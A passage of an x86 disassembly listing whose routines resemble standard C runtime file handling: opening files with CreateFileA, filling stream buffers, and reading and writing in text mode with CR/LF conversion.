		jz	short loc_421B9C
		call	sub_4200B5
		mov	dword ptr [eax], 0Dh
		call	sub_4200BE
		mov	dword ptr [eax], 5
		jmp	short loc_421B75
; ---------------------------------------------------------------------------

loc_421B9C:				; CODE XREF: sub_421B59+22j
					; sub_421B59+29j
		xor	eax, eax
		retn
sub_421B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B9F	proc near		; CODE XREF: sub_421E86+28p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	esi, esi
		test	dl, dl
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], esi
		jns	short loc_421BC3
		mov	[ebp+var_14], esi
		mov	[ebp+var_1], 10h
		jmp	short loc_421BCE
; ---------------------------------------------------------------------------

loc_421BC3:				; CODE XREF: sub_421B9F+19j
		mov	[ebp+var_14], 1
		mov	[ebp+var_1], 0

loc_421BCE:				; CODE XREF: sub_421B9F+22j
		mov	eax, 8000h
		test	edx, eax
		jnz	short loc_421BE8
		test	dh, 40h
		jnz	short loc_421BE4
		cmp	ds:dword_4358C4, eax
		jz	short loc_421BE8

loc_421BE4:				; CODE XREF: sub_421B9F+3Bj
		or	[ebp+var_1], 80h

loc_421BE8:				; CODE XREF: sub_421B9F+36j
					; sub_421B9F+43j
		push	3
		mov	eax, edx
		pop	ebx
		and	eax, ebx
		sub	eax, esi
		jz	short loc_421C0B
		dec	eax
		jz	short loc_421C02
		dec	eax
		jnz	short loc_421C26
		mov	[ebp+var_10], 0C0000000h
		jmp	short loc_421C12
; ---------------------------------------------------------------------------

loc_421C02:				; CODE XREF: sub_421B9F+55j
		mov	[ebp+var_10], 40000000h
		jmp	short loc_421C12
; ---------------------------------------------------------------------------

loc_421C0B:				; CODE XREF: sub_421B9F+52j
		mov	[ebp+var_10], 80000000h

loc_421C12:				; CODE XREF: sub_421B9F+61j
					; sub_421B9F+6Aj
		cmp	ecx, 10h
		jz	short loc_421C57
		cmp	ecx, 20h
		jz	short loc_421C4E
		cmp	ecx, 30h
		jz	short loc_421C45
		cmp	ecx, 40h
		jz	short loc_421C40

loc_421C26:				; CODE XREF: sub_421B9F+58j
		call	sub_4200B5
		mov	dword ptr [eax], 16h
		call	sub_4200BE
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		jmp	loc_421E37
; ---------------------------------------------------------------------------

loc_421C40:				; CODE XREF: sub_421B9F+85j
		mov	[ebp+var_8], ebx
		jmp	short loc_421C5A
; ---------------------------------------------------------------------------

loc_421C45:				; CODE XREF: sub_421B9F+80j
		mov	[ebp+var_8], 2
		jmp	short loc_421C5A
; ---------------------------------------------------------------------------

loc_421C4E:				; CODE XREF: sub_421B9F+7Bj
		mov	[ebp+var_8], 1
		jmp	short loc_421C5A
; ---------------------------------------------------------------------------

loc_421C57:				; CODE XREF: sub_421B9F+76j
		mov	[ebp+var_8], esi

loc_421C5A:				; CODE XREF: sub_421B9F+A4j
					; sub_421B9F+ADj ...
		mov	eax, edx
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		push	edi
		mov	edi, 100h
		jg	short loc_421CA1
		jz	short loc_421C9C
		cmp	eax, esi
		jz	short loc_421C9C
		cmp	eax, edi
		jz	short loc_421C93
		cmp	eax, 200h
		jz	short loc_421CCD
		cmp	eax, 300h
		jnz	short loc_421CB3
		mov	[ebp+var_C], 2
		jmp	short loc_421CDD
; ---------------------------------------------------------------------------

loc_421C93:				; CODE XREF: sub_421B9F+DBj
		mov	[ebp+var_C], 4
		jmp	short loc_421CDD
; ---------------------------------------------------------------------------

loc_421C9C:				; CODE XREF: sub_421B9F+D3j
					; sub_421B9F+D7j
		mov	[ebp+var_C], ebx
		jmp	short loc_421CDD
; ---------------------------------------------------------------------------

loc_421CA1:				; CODE XREF: sub_421B9F+D1j
		cmp	eax, 500h
		jz	short loc_421CD6
		cmp	eax, 600h
		jz	short loc_421CCD
		cmp	eax, edx
		jz	short loc_421CD6

loc_421CB3:				; CODE XREF: sub_421B9F+E9j
		call	sub_4200B5
		mov	dword ptr [eax], 16h
		call	sub_4200BE
		mov	[eax], esi

loc_421CC5:				; CODE XREF: sub_421B9F+2E2j
		or	eax, 0FFFFFFFFh
		jmp	loc_421E36
; ---------------------------------------------------------------------------

loc_421CCD:				; CODE XREF: sub_421B9F+E2j
					; sub_421B9F+10Ej
		mov	[ebp+var_C], 5
		jmp	short loc_421CDD
; ---------------------------------------------------------------------------

loc_421CD6:				; CODE XREF: sub_421B9F+107j
					; sub_421B9F+112j
		mov	[ebp+var_C], 1

loc_421CDD:				; CODE XREF: sub_421B9F+F2j
					; sub_421B9F+FBj ...
		mov	eax, [ebp+arg_C]
		test	eax, edi
		mov	esi, 80h
		jz	short loc_421CFB
		mov	ecx, ds:dword_435658
		not	ecx
		and	ecx, [ebp+arg_10]
		test	cl, cl
		js	short loc_421CFB
		xor	esi, esi
		inc	esi

loc_421CFB:				; CODE XREF: sub_421B9F+148j
					; sub_421B9F+157j
		test	al, 40h
		jz	short loc_421D16
		or	byte ptr [ebp+var_10+2], 1
		or	esi, 4000000h
		cmp	ds:dword_43565C, 2
		jnz	short loc_421D16
		or	[ebp+var_8], 4

loc_421D16:				; CODE XREF: sub_421B9F+15Ej
					; sub_421B9F+171j
		test	ah, 10h
		jz	short loc_421D1D
		or	esi, edi

loc_421D1D:				; CODE XREF: sub_421B9F+17Aj
		test	al, 20h
		jz	short loc_421D29
		or	esi, 8000000h
		jmp	short loc_421D33
; ---------------------------------------------------------------------------

loc_421D29:				; CODE XREF: sub_421B9F+180j
		test	al, 10h
		jz	short loc_421D33
		or	esi, 10000000h

loc_421D33:				; CODE XREF: sub_421B9F+188j
					; sub_421B9F+18Cj
		call	sub_425867
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_421D5B
		call	sub_4200B5
		mov	dword ptr [eax], 18h
		call	sub_4200BE
		and	dword ptr [eax], 0

loc_421D54:				; CODE XREF: sub_421B9F+208j
		mov	eax, ebx
		jmp	loc_421E36
; ---------------------------------------------------------------------------

loc_421D5B:				; CODE XREF: sub_421B9F+1A0j
		mov	eax, [ebp+arg_0]
		push	0
		push	esi
		push	[ebp+var_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_10]
		push	[ebp+arg_8]
		call	ds:dword_4290F4	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_421D9A
		push	esi
		call	ds:dword_42905C	; GetFileType
		test	eax, eax
		jnz	short loc_421DA9
		push	esi
		call	ds:dword_4290F0	; CloseHandle

loc_421D9A:				; CODE XREF: sub_421B9F+1E7j
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		push	eax
		call	sub_4200C7
		pop	ecx
		jmp	short loc_421D54
; ---------------------------------------------------------------------------

loc_421DA9:				; CODE XREF: sub_421B9F+1F2j
		cmp	eax, 2
		jnz	short loc_421DB4
		or	[ebp+var_1], 40h
		jmp	short loc_421DBD
; ---------------------------------------------------------------------------

loc_421DB4:				; CODE XREF: sub_421B9F+20Dj
		cmp	eax, 3
		jnz	short loc_421DBD
		or	[ebp+var_1], 8

loc_421DBD:				; CODE XREF: sub_421B9F+213j
					; sub_421B9F+218j
		push	esi
		push	edi
		call	sub_425669
		or	[ebp+var_1], 1
		mov	eax, edi
		sar	eax, 5
		lea	ebx, ds:438460h[eax*4]
		mov	eax, edi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	esi, 2
		mov	[ebp+var_1], al
		and	[ebp+var_1], 48h
		mov	[esi+ecx+4], al
		jnz	short loc_421E1F
		test	al, al
		jns	short loc_421E1F
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_421E1F
		push	2
		push	0FFFFFFFFh
		push	edi
		call	sub_423FFD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_421E3B
		call	sub_4200BE
		cmp	dword ptr [eax], 83h
		jnz	short loc_421E7A

loc_421E1F:				; CODE XREF: sub_421B9F+252j
					; sub_421B9F+256j ...
		cmp	[ebp+var_1], 0
		jnz	short loc_421E34
		test	byte ptr [ebp+arg_C], 8
		jz	short loc_421E34
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		or	byte ptr [eax],	20h

loc_421E34:				; CODE XREF: sub_421B9F+284j
					; sub_421B9F+28Aj
		mov	eax, edi

loc_421E36:				; CODE XREF: sub_421B9F+129j
					; sub_421B9F+1B7j
		pop	edi

loc_421E37:				; CODE XREF: sub_421B9F+9Cj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421E3B:				; CODE XREF: sub_421B9F+271j
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		push	edi
		mov	[ebp+var_2], 0
		call	sub_421FBC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E68
		cmp	[ebp+var_2], 1Ah
		jnz	short loc_421E68
		push	[ebp+var_10]
		push	edi
		call	sub_426560
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_421E7A

loc_421E68:				; CODE XREF: sub_421B9F+2B1j
					; sub_421B9F+2B7j
		push	0
		push	0
		push	edi
		call	sub_423FFD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_421E1F

loc_421E7A:				; CODE XREF: sub_421B9F+27Ej
					; sub_421B9F+2C7j
		push	edi
		call	sub_421060
		pop	ecx
		jmp	loc_421CC5
sub_421B9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E86	proc near		; CODE XREF: sub_420D24+137p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset stru_429FC8
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	sub_421B9F
		add	esp, 14h
		mov	[ebp+var_24], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_421ECB
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_421E86	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ECB	proc near		; CODE XREF: sub_421E86+37p
					; DATA XREF: .text:stru_429FC8o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_421EDA
		push	dword ptr [ebp-20h]
		call	sub_425845
		pop	ecx

locret_421EDA:				; CODE XREF: sub_421ECB+4j
		retn
sub_421ECB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EDB	proc near		; CODE XREF: sub_41D9E5+AAp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_421FB7
		test	al, 40h
		jnz	loc_421FB7
		test	al, 2
		jz	short loc_421F02
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_421FB7
; ---------------------------------------------------------------------------

loc_421F02:				; CODE XREF: sub_421EDB+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_421F17
		push	esi
		call	sub_42411C
		pop	ecx
		jmp	short loc_421F1C
; ---------------------------------------------------------------------------

loc_421F17:				; CODE XREF: sub_421EDB+31j
		mov	eax, [esi+8]
		mov	[esi], eax

loc_421F1C:				; CODE XREF: sub_421EDB+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_422197
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_421FA6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421FA6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_421F7B
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_421F61
		mov	edi, ecx
		sar	edi, 5
		mov	edi, ds:dword_438460[edi*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_421F66
; ---------------------------------------------------------------------------

loc_421F61:				; CODE XREF: sub_421EDB+6Dj
		mov	edi, offset dword_433938

loc_421F66:				; CODE XREF: sub_421EDB+84j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_421F7B
		or	edx, 2000h
		mov	[esi+0Ch], edx

loc_421F7B:				; CODE XREF: sub_421EDB+64j
					; sub_421EDB+95j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_421F98
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_421F98
		test	ch, 4
		jnz	short loc_421F98
		mov	dword ptr [esi+18h], 1000h

loc_421F98:				; CODE XREF: sub_421EDB+A7j
					; sub_421EDB+AFj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421FA6:				; CODE XREF: sub_421EDB+57j
					; sub_421EDB+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_421FB7:				; CODE XREF: sub_421EDB+Aj
					; sub_421EDB+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FBC	proc near		; CODE XREF: sub_421B9F+2A7p
					; sub_422197+52p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_422190
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		lea	edi, ds:438460h[ecx*4]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_422190
		test	cl, 48h
		jz	short loc_422027
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_422027
		mov	eax, [edi]
		mov	al, [eax+esi+5]
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_422027:				; CODE XREF: sub_421FBC+47j
					; sub_421FBC+4Dj
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	edx
		push	dword ptr [eax+esi]
		call	ds:dword_429108	; ReadFile
		test	eax, eax
		jnz	short loc_422079
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_422061
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		mov	[eax], esi
		jmp	short loc_422071
; ---------------------------------------------------------------------------

loc_422061:				; CODE XREF: sub_421FBC+8Fj
		cmp	eax, 6Dh
		jz	loc_422190
		push	eax
		call	sub_4200C7
		pop	ecx

loc_422071:				; CODE XREF: sub_421FBC+A3j
		or	eax, 0FFFFFFFFh
		jmp	loc_422192
; ---------------------------------------------------------------------------

loc_422079:				; CODE XREF: sub_421FBC+82j
		mov	eax, [ebp+var_C]
		mov	ecx, [edi]
		add	[ebp+var_8], eax
		test	byte ptr [ecx+esi+4], 80h
		jz	loc_42218B
		test	eax, eax
		jz	short loc_4220A0
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_4220A0
		mov	eax, ecx
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	4
		jmp	short loc_4220A9
; ---------------------------------------------------------------------------

loc_4220A0:				; CODE XREF: sub_421FBC+D2j
					; sub_421FBC+D7j
		mov	eax, [edi]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FBh

loc_4220A9:				; CODE XREF: sub_421FBC+E2j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], ecx
		jnb	loc_422185

loc_4220BF:				; CODE XREF: sub_421FBC+1B1j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_422175
		cmp	al, 0Dh
		jz	short loc_4220DB
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_422167
; ---------------------------------------------------------------------------

loc_4220DB:				; CODE XREF: sub_421FBC+112j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_4220F5
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4220F0
		add	[ebp+arg_8], 2
		jmp	short loc_422149
; ---------------------------------------------------------------------------

loc_4220F0:				; CODE XREF: sub_421FBC+12Cj
		mov	[ebp+arg_8], eax
		jmp	short loc_422163
; ---------------------------------------------------------------------------

loc_4220F5:				; CODE XREF: sub_421FBC+123j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	ds:dword_429108	; ReadFile
		test	eax, eax
		jnz	short loc_42211D
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_422163

loc_42211D:				; CODE XREF: sub_421FBC+155j
		cmp	[ebp+var_C], 0
		jz	short loc_422163
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_42213E
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_422149
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		mov	[ecx+esi+5], al
		jmp	short loc_422166
; ---------------------------------------------------------------------------

loc_42213E:				; CODE XREF: sub_421FBC+16Ej
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_42214E
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_42214E

loc_422149:				; CODE XREF: sub_421FBC+132j
					; sub_421FBC+175j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_422166
; ---------------------------------------------------------------------------

loc_42214E:				; CODE XREF: sub_421FBC+185j
					; sub_421FBC+18Bj
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_423FFD
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_422167

loc_422163:				; CODE XREF: sub_421FBC+137j
					; sub_421FBC+15Fj ...
		mov	byte ptr [ebx],	0Dh

loc_422166:				; CODE XREF: sub_421FBC+180j
					; sub_421FBC+190j
		inc	ebx

loc_422167:				; CODE XREF: sub_421FBC+11Aj
					; sub_421FBC+1A5j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_4220BF
		jmp	short loc_422185
; ---------------------------------------------------------------------------

loc_422175:				; CODE XREF: sub_421FBC+10Aj
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 40h
		jnz	short loc_422185
		lea	esi, [eax+esi+4]
		or	byte ptr [esi],	2

loc_422185:				; CODE XREF: sub_421FBC+FDj
					; sub_421FBC+1B7j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx

loc_42218B:				; CODE XREF: sub_421FBC+CAj
		mov	eax, [ebp+var_8]
		jmp	short loc_422192
; ---------------------------------------------------------------------------

loc_422190:				; CODE XREF: sub_421FBC+16j
					; sub_421FBC+3Ej ...
		xor	eax, eax

loc_422192:				; CODE XREF: sub_421FBC+B8j
					; sub_421FBC+1D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422197	proc near		; CODE XREF: sub_41D9E5+91p
					; sub_421EDB+4Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00422226 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429FD8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, ds:dword_43844C
		jnb	short loc_422226
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_422226
		push	ebx
		call	sub_4257A5
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4221F6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_421FBC
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_42220D
; ---------------------------------------------------------------------------

loc_4221F6:				; CODE XREF: sub_422197+49j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh

loc_42220D:				; CODE XREF: sub_422197+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_42221E
		mov	eax, [ebp+var_1C]
		jmp	short loc_42223C
sub_422197	endp


; =============== S U B	R O U T	I N E =======================================



sub_42221B	proc near		; DATA XREF: .text:stru_429FD8o
		mov	ebx, [ebp+8]
sub_42221B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42221E	proc near		; CODE XREF: sub_422197+7Ap
		push	ebx
		call	sub_425845
		pop	ecx
		retn
sub_42221E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422197

loc_422226:				; CODE XREF: sub_422197+15j
					; sub_422197+35j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_42223C:				; CODE XREF: sub_422197+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_422197

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3A0h


sub_422242	proc near		; CODE XREF: sub_422410+52p
					; sub_426560+94p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-3A0h]
		sub	esp, 420h
		mov	eax, ds:dword_433148
		push	edi
		xor	edi, edi
		cmp	[ebp+3A0h+arg_8], edi
		mov	[ebp+3A0h+var_4], eax
		mov	[ebp+3A0h+var_418], edi
		mov	[ebp+3A0h+var_41C], edi
		jnz	short loc_422273
		xor	eax, eax
		jmp	loc_4223FC
; ---------------------------------------------------------------------------

loc_422273:				; CODE XREF: sub_422242+28j
		mov	eax, [ebp+3A0h+arg_0]
		push	ebx
		mov	ebx, [ebp+3A0h+arg_0]
		and	eax, 1Fh
		sar	ebx, 5
		push	esi
		lea	esi, [eax+eax*8]
		lea	ebx, ds:438460h[ebx*4]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_4222AF
		push	2
		push	edi
		push	edi
		push	[ebp+3A0h+arg_0]
		call	sub_4266A1
		add	esp, 10h

loc_4222AF:				; CODE XREF: sub_422242+59j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42238A
		cmp	[ebp+3A0h+arg_8], edi
		mov	eax, [ebp+3A0h+arg_4]
		mov	[ebp+3A0h+var_414], eax
		mov	[ebp+3A0h+var_40C], edi
		jbe	loc_4223C8

loc_4222D5:				; CODE XREF: sub_422242+10Dj
		mov	ecx, [ebp+3A0h+var_414]
		sub	ecx, [ebp+3A0h+arg_4]
		lea	eax, [ebp+3A0h+var_408]
		mov	[ebp+3A0h+var_410], edi

loc_4222E4:				; CODE XREF: sub_422242+CFj
		cmp	ecx, [ebp+3A0h+arg_8]
		jnb	short loc_422313
		mov	edx, [ebp+3A0h+var_414]
		inc	[ebp+3A0h+var_414]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_422304
		inc	[ebp+3A0h+var_41C]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+3A0h+var_410]

loc_422304:				; CODE XREF: sub_422242+B6j
		mov	[eax], dl
		inc	eax
		inc	[ebp+3A0h+var_410]
		cmp	[ebp+3A0h+var_410], 400h
		jl	short loc_4222E4

loc_422313:				; CODE XREF: sub_422242+A8j
		mov	edi, eax
		lea	eax, [ebp+3A0h+var_408]
		sub	edi, eax
		push	0
		lea	eax, [ebp+3A0h+var_420]
		push	eax
		push	edi
		lea	eax, [ebp+3A0h+var_408]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_429104	; WriteFile
		test	eax, eax
		jz	short loc_422353
		mov	eax, [ebp+3A0h+var_420]
		add	[ebp+3A0h+var_418], eax
		cmp	eax, edi
		jl	short loc_42235C
		mov	eax, [ebp+3A0h+var_414]
		sub	eax, [ebp+3A0h+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+3A0h+arg_8]
		jb	short loc_4222D5
		jmp	short loc_42235E
; ---------------------------------------------------------------------------

loc_422353:				; CODE XREF: sub_422242+F0j
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	[ebp+3A0h+var_40C], eax

loc_42235C:				; CODE XREF: sub_422242+FAj
		xor	edi, edi

loc_42235E:				; CODE XREF: sub_422242+10Fj
					; sub_422242+16Ej ...
		mov	eax, [ebp+3A0h+var_418]
		cmp	eax, edi
		jnz	loc_4223F7
		cmp	[ebp+3A0h+var_40C], edi
		jz	short loc_4223C8
		push	5
		pop	esi
		cmp	[ebp+3A0h+var_40C], esi
		jnz	short loc_4223BD
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		mov	[eax], esi
		jmp	short loc_4223F2
; ---------------------------------------------------------------------------

loc_42238A:				; CODE XREF: sub_422242+75j
		push	edi
		lea	ecx, [ebp+3A0h+var_420]
		push	ecx
		push	[ebp+3A0h+arg_8]
		push	[ebp+3A0h+arg_4]
		push	dword ptr [eax]
		call	ds:dword_429104	; WriteFile
		test	eax, eax
		jz	short loc_4223B2
		mov	eax, [ebp+3A0h+var_420]
		mov	[ebp+3A0h+var_40C], edi
		mov	[ebp+3A0h+var_418], eax
		jmp	short loc_42235E
; ---------------------------------------------------------------------------

loc_4223B2:				; CODE XREF: sub_422242+163j
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	[ebp+3A0h+var_40C], eax
		jmp	short loc_42235E
; ---------------------------------------------------------------------------

loc_4223BD:				; CODE XREF: sub_422242+132j
		push	[ebp+3A0h+var_40C]
		call	sub_4200C7
		pop	ecx
		jmp	short loc_4223F2
; ---------------------------------------------------------------------------

loc_4223C8:				; CODE XREF: sub_422242+8Dj
					; sub_422242+12Aj
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_4223E0
		mov	eax, [ebp+3A0h+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_4223E0
		xor	eax, eax
		jmp	short loc_4223FA
; ---------------------------------------------------------------------------

loc_4223E0:				; CODE XREF: sub_422242+18Dj
					; sub_422242+198j
		call	sub_4200B5
		mov	dword ptr [eax], 1Ch
		call	sub_4200BE
		mov	[eax], edi

loc_4223F2:				; CODE XREF: sub_422242+146j
					; sub_422242+184j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4223FA
; ---------------------------------------------------------------------------

loc_4223F7:				; CODE XREF: sub_422242+121j
		sub	eax, [ebp+3A0h+var_41C]

loc_4223FA:				; CODE XREF: sub_422242+19Cj
					; sub_422242+1B3j
		pop	esi
		pop	ebx

loc_4223FC:				; CODE XREF: sub_422242+2Cj
		mov	ecx, [ebp+3A0h+var_4]
		pop	edi
		call	sub_41E5BB
		add	ebp, 3A0h
		leave
		retn
sub_422242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422410	proc near		; CODE XREF: sub_41DB1A+9Fp
					; sub_41F714+98p ...

var_1C		= dword	ptr -1Ch
